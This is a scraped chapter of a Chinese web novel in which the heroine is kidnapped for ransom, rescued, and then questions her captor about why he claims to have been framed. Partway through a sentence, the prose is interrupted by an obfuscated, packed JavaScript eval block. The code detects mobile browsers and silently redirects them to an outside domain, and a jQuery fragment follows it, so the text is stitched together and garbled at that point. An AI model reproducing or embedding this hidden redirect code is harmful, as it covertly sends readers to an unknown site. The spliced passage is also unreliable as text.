17. 敢做不敢当?
作品:《诶?我不是穿越了吗,怎么没有金手指!》 杨启越急躁,沈悦反而就越平静:“敢做不敢当?”
“谁敢做不敢当啊,老子儿豁,没干过就是没干过。”
杨启嗤笑一声,“算了,跟你说你也不会相信的,无妨,过去发生的也不能再改变了。”
杨启不知道从哪掏出一根麻绳,三下五除二就将沈悦给绑了,沈悦挣扎不过,看得出来这杨启也是有点功夫在身的,手脚很利索,只是不知道和听柏对上,谁输谁赢。
杨启恶狠狠道:“我也不奢望什么公道了,但是衙门判我赔给杨二狗的银子还是得拿回来的,既然是你告发的我,那银子你赔给我不过分吧。”
“给你两个选择,要么你自己赔我二十两银子,要么我就将你绑了送人换钱。”
看着眼前被自己五花大绑的人,杨启脸上满是奸计得逞后的快意,反正他的名声也就这样了,为达目的手段不光彩又能怎样呢?
沈悦很平静,这杨启只图财,那就很好办了。
“既然你的计划已经实现,那也让我死个明白,谁指使你的?”杨启有提到将她送人,那就是说明有人对她感兴趣,那杨启到桃夭阁找上她就不是偶然。
沈悦脑子里疯狂回忆,原主在这似乎没得罪什么人,毕竟她刚流放到这个地方不久就被卖入桃夭阁,一被卖进来沈悦就穿过来了。
如果她没猜错的话,只剩那个胖子了。
杨启的话也应证了这一想法。
杨启斜斜的看了她一眼,眼神里充斥着轻蔑,“连自己得罪了什么人都不知大,你怎么混的比我差。”
“自然是驿丞了,他家公子看上你了,若是我将你绑了送到他府上,他承诺给我二十两银子,完全够我白白赔偿给杨二狗的银子了。”杨启得意的说道,好像驿丞是什么了不起的靠山似的。
原来真是那个死胖子。
既然弄清楚了,沈悦也就不装了,被绑在身后的手悄悄打了个手势。
杨启将沈悦提溜起来靠在一旁的大树旁,自己坐在沈悦那块大石头上,这附近荒郊野岭的,除了这块石头也没有其他可落座的。
“诶你!”沈悦被杨启推了一个趔趄。
“哼,想让我放了你的话,就自觉的拿出二十两银子,要不我就将你交给那李图飞了,你也知道被他逮住,下场不会太好的。”杨启从怀里掏出一张比脸还大的烧饼,边说边啃。
“啊,咳咳!”杨启咬了一口烧饼刚准备咽下去之际,突然斜刺里飞来一脚,将他给踹飞开来,嘴里的烧饼也飞了出来,在他落地瞬间,一口烧饼碎渣落下来,糊了他满脸。
“谁啊?敢踹老子!”杨启被这突如其来的意外打了个措手不及,连忙从地上爬起来,用袖子抹了一把脸,擦干净脸上的烧饼渣。
杨启起身后就看到原本被绑着的沈悦已经解开了身上的绳索,一个男子站在她旁边,双臂环在胸前,偏头看向他。
杨启回味着踢向自己的那一脚,自认不是对手,转身朝树林跑去,正所谓留的青山在不怕没柴烧。
沈悦看着他趔趄的背影,不禁感叹真是风水轮流转呀。
听柏是不可能让他跑掉的,一个箭步上前,抓住杨启衣服后领,顿时杨启就无法在前进一步了,听柏又用刚从沈悦身上扯下来的绳索,将杨启捆成个粽子。
“放开我,你们都是卑鄙小人,偷袭我算什么本事。”杨启不服输的吱哇乱叫。
沈悦:“哦,被捆住了还这么嚣张?看来那一顿板子是没挨够,合该直接打你一百大板,打到你不在嘴硬为止。”
听柏默默地看着沈悦,心想一百大板,这人的屁股怕是要成肉泥了,不过帮着李图飞那起人做事的并不值得可怜。
杨启一听这话,不知道想到了什么,直接放声大哭。
“呜呜呜,我都说了我没偷钱,没有人相信我,奶奶我过的好苦啊,你走的时候我就该跟着你的,也不用受他们欺负了,呜呜呜,奶奶……”
杨启哭的一把鼻涕一把泪的,丝毫不在意形象。
突出起来的转变给沈悦整的措手不及。
“闭嘴!”听柏觉得他太吵了,出言制止,但是杨启已经哭到一个忘我的境界了,似乎要把受的委屈全部发泄出来,哭到忘我的境界了,完全止不住,听柏用匕首裁下杨启的一块一角,团成一团塞进杨启嘴里。
杨启不能嚎啕大哭,但也还在呜呜咽咽的低鸣。
“诶,莫哭了,好好一个大人哭成一个小孩似的,路过的人还以为我们欺负你似的。”明明我才是受害者好吧,沈悦心里腹诽。
杨启仿佛开启了勿扰模式,谁的话都听不进去。
沈悦嘀咕:“瞧着也二十出头的人呢,怎么说哭就哭呢,几岁的乐乐都不这样。”
没想到沈悦自言自语的话语被杨启听了个完全,他吸了一下鼻子,舌头使劲,将嘴巴里的布团给顶了出来,抬起头恶狠狠地看向沈悦:“谁二十出头了,我才十七岁,还未到加冠之年呢,哪有那么老!”
好家伙,这布团还能被顶出来,沈悦有些惊讶的瞥向一旁嘴里叼着一根狗尾巴草的听柏,似乎在说他堵的不结实。
听柏耸了耸肩,两手一摊。
罢了,这也不是重点,沈悦看向泪流满面的杨启,“你的意思就是你是被冤枉的了?”
杨启瘫坐在地上,一个劲的点头。
“可有证据?”
杨启认真想了想,他好像确实没有证据,一时间又悲从心起,缓慢的摇了摇头。
盗贼从不会承认他有过盗窃,坏人也不会觉得他是坏人。沈悦确实从这人的眼神中看出几分真诚,或许他说的有几分可信,但又见他拿不出证据,不想再继续和他纠缠了,于是对听柏道。
“将他带回去交给花颜吧。”毕竟现在她算是花颜的人,杨启算是半个李图飞的人,沈悦不放心将他交给官府处置,而花颜看起来很厉害的样子,手下人手也多,或许她能查得明白呢。
听柏去隐秘处牵出来一辆朴素低调的马车,将杨启一把扔进去,三人上车后,马车
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210156|180866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缓缓驶回天回镇。
一颗茂盛的参天大树上,问岳目睹了全过程,三人走后,他朝另一边走去,正是流放村的方向,走的有点急,他还得回去给王爷做晚膳。
三人驱赶着马车慢悠悠地回到了桃夭阁。
听柏猛地将杨启扔在花颜面前,由于被捆住了无法动弹,杨启整个人趴在了地上,狼狈地抬头,满是恨意地看向屋内的三个人。
“老子烂命一条,要杀要剐,悉听尊便!”这会儿的杨启已经平静下来了,脸上的眼泪也干了,泪痕却清晰可见,他死到临头还是很硬气,悄悄蠕动着身体给自己找了个舒服的姿势。
沈悦将他的动作尽收眼底,也看见他低头时眼睛里盈满的落寞与不甘,沈悦陷入沉思。
花颜事务繁忙,本不愿在这事儿上花时间,于是十分干脆地对听柏说:“直接将人给处理了吧。”
熟悉花颜的人知道,花颜只对自己人会多一份耐心与温柔,也就是护短。
即使这人有冤屈又怎样,从他敢绑了沈悦敲诈钱财开始,在花颜这他就是死刑了。
听柏向来是很听花颜的话的,花颜刚讲出来这句话之后,他就拖着如死尸般的杨启往外走。
杨启真的觉得自己要死了,他放佛看到了奶奶在向他招手,脸上竟然诡异般浮出一抹微笑。
沈悦没想到花颜的处置方式这么的简单粗暴。
仿佛有一双无形的大手死死地抓住沈悦的心脏,紧的她有些喘不过来气,她意识到,虽然花颜没有明说,但是,听柏很可能会将杨启杀了,她心底产生一种强烈的直觉,若是任由听柏将人处置了,她会后悔。
“慢着。”沈悦又一次忠于内心,将听柏叫停。
“听柏,我想再问问他。”
听柏听到这句话下意思的看向花颜,显然在沈悦与花颜之间,他从来是以花颜为主导的,恐怕她的所作所为花颜全都知情,甚至听柏每一次帮她都是花颜默许的。
花颜沉思片刻后摆了摆手,听柏将人放开。
沈悦走上前,蹲在杨启面前,杨启缓缓抬起头,空洞的双眼盯着沈悦清丽的面孔。
“既然你说你并无证据证明自己的清白,那就说说你为什么是冤枉的吧,将你犯事儿的经过详细说来。”沈悦还是给了杨启一次机会。
“说出来有什么用,没有人会相信。”杨启一脸麻木,放弃了挣扎。
“不说的话,你见不到明天的太阳”
“你去世的奶奶会想你就这么稀里糊涂满是委屈地去见她吗?”
听眼前这人提到了奶奶杨启眼神之中仿佛有了点点光亮,是啊,在村里他就是一个偷鸡摸狗的人,奶奶死前要求他堂堂正正的活着,他谨记着奶奶的教诲,这一年来,他不怕苦不怕累,在镖局里,他总是跑最累最危险的镖,就是为了多挣钱,好好的养活自己。
但是他确实毒死了杨二狗家的鸡,还是辜负了奶奶的期望,但那都是杨二狗应得的教训!
杨启的眼睛闪过一抹恨意。